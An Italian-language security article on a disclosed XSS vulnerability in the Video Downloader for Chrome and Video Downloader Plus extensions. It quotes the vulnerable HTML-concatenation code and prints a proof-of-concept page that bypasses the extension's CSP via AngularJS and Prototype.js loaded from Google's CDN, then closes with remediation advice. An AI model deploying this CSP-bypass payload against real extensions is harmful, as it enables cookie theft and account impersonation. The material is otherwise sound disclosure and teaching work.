Chrome Extension Security: Come un Video Downloader ha Esposto 15,5M di Utenti ad Attacchi XSS
Nel vasto panorama della sicurezza dei browser, le estensioni Chrome rappresentano un intrigante punto di incontro tra comodità e potenziali vulnerabilità. In questo articolo, analizzeremo una scoperta significativa nel campo della sicurezza che ha coinvolto oltre 15,5 milioni di utenti attraverso due popolari estensioni Chrome: Video Downloader for Chrome e Video Downloader Plus.
La Scoperta: Una Vulnerabilità XSS Critica
Durante un’analisi di routine delle estensioni Chrome tramite lo strumento “tarnish”, i ricercatori hanno identificato una grave vulnerabilità di Cross-site Scripting (XSS) che poteva essere attivata semplicemente visitando una pagina web malevola. Ciò che rende questa scoperta particolarmente interessante è la combinazione di fattori che l’hanno resa possibile: concatenazione di stringhe non sicura, manipolazione del DOM e un ingegnoso bypass della Content Security Policy (CSP).
L’Impatto della Vulnerabilità
Prima di addentrarci nei dettagli tecnici, è importante comprendere perché questa vulnerabilità sia così significativa:
- Base Utenti Massiccia: Le due estensioni combinate contavano 15,5 milioni di utenti
- Permessi Estesi: Le estensioni avevano accesso a funzionalità critiche del browser
- Facilità di Sfruttamento: Era sufficiente che una vittima visitasse una pagina web controllata dall’attaccante
I Permessi Critici
Le estensioni compromesse avevano accesso a permessi particolarmente sensibili:
- Allarmi
- Menu contestuali
- Privacy
- Storage
- Cookie
- Tab
- Storage illimitato
- Navigazione web
- Richieste web
- Blocco richieste web
- Accesso completo a http e https
- Notifiche
Con questi permessi, un attaccante poteva potenzialmente:
- Rubare tutti i cookie del browser
- Intercettare tutte le richieste web
- Impersonare l’utente su qualsiasi sito web
Analisi Tecnica della Vulnerabilità
Il Codice Vulnerabile
Il cuore della vulnerabilità risiedeva in una funzione apparentemente innocua:
vd.createDownloadSection = function(videoData) {
return '<li class="video"> \
<a class="play-button" href="' + videoData.url + '" target="_blank"></a> \
<div class="title" title="' + videoData.fileName + '">' + videoData.fileName + '</div> \
<a class="download-button" href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\
<div class="sep"></div>\
</li>';
};
Questo codice rappresenta un classico esempio di vulnerabilità XSS, dove la concatenazione di stringhe viene utilizzata per costruire HTML che viene poi inserito dinamicamente nel DOM attraverso jQuery.
Il Percorso dell’Exploit
L’exploit seguiva un percorso complesso:
- Raccolta dei Link Video: L’estensione utilizzava un Content Script per raccogliere potenziali URL video da tag
<a>
e<video>
- Elaborazione dei Dati: I link raccolti venivano processati e verificati
- Bypass dei Controlli: L’attaccante doveva superare diversi controlli di sicurezza
- Sfruttamento della CSP: Un ingegnoso bypass della Content Security Policy
Il Bypass della Content Security Policy
La CSP dell’estensione presentava una configurazione interessante:
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
Gli attaccanti hanno sfruttato la presenza di apis.google.com e ajax.googleapis.com nella direttiva script-src, utilizzando una combinazione di AngularJS e Prototype.js per ottenere l’esecuzione di codice arbitrario.
La Soluzione: Payload Finale
Il payload finale era sorprendentemente elegante:
<!DOCTYPE html>
<html>
<body>
<a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS')\}\}<!--.flv">test</a>
<iframe src="about:blank" id="poc"></iframe>
<script>
setTimeout(function() {
document.getElementById("poc").setAttribute("src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html");
}, 1000);
</script>
</body>
</html>
Lezioni Apprese e Best Practices
Questa vulnerabilità ci insegna diverse lezioni importanti:
- Validazione Input: Mai fidarsi dei dati provenienti dall’utente
- Sanitizzazione Output: Utilizzare sempre metodi sicuri per l’inserimento di HTML nel DOM
- CSP Restrittive: Configurare policy di sicurezza il più restrittive possibile
- Review del Codice: Effettuare regolari revisioni del codice focalizzate sulla sicurezza
Raccomandazioni per gli Sviluppatori
Per prevenire vulnerabilità simili, gli sviluppatori dovrebbero:
- Utilizzare librerie di templating sicure invece della concatenazione di stringhe
- Implementare una CSP rigorosa senza fonti non necessarie
- Limitare i permessi delle estensioni al minimo necessario
- Effettuare audit di sicurezza regolari
Conclusione
Questa vulnerabilità dimostra come anche estensioni popolari possano contenere falle di sicurezza significative. La combinazione di una base utenti ampia e permessi estesi rende le estensioni Chrome un obiettivo attraente per gli attaccanti. Come sviluppatori, dobbiamo mantenere alta l’attenzione sulla sicurezza e seguire le migliori pratiche di sviluppo sicuro.
La buona notizia è che entrambe le estensioni sono state prontamente aggiornate dopo la segnalazione della vulnerabilità, proteggendo così milioni di utenti da potenziali attacchi. Questo caso sottolinea l’importanza della divulgazione responsabile delle vulnerabilità e della rapida risposta da parte degli sviluppatori.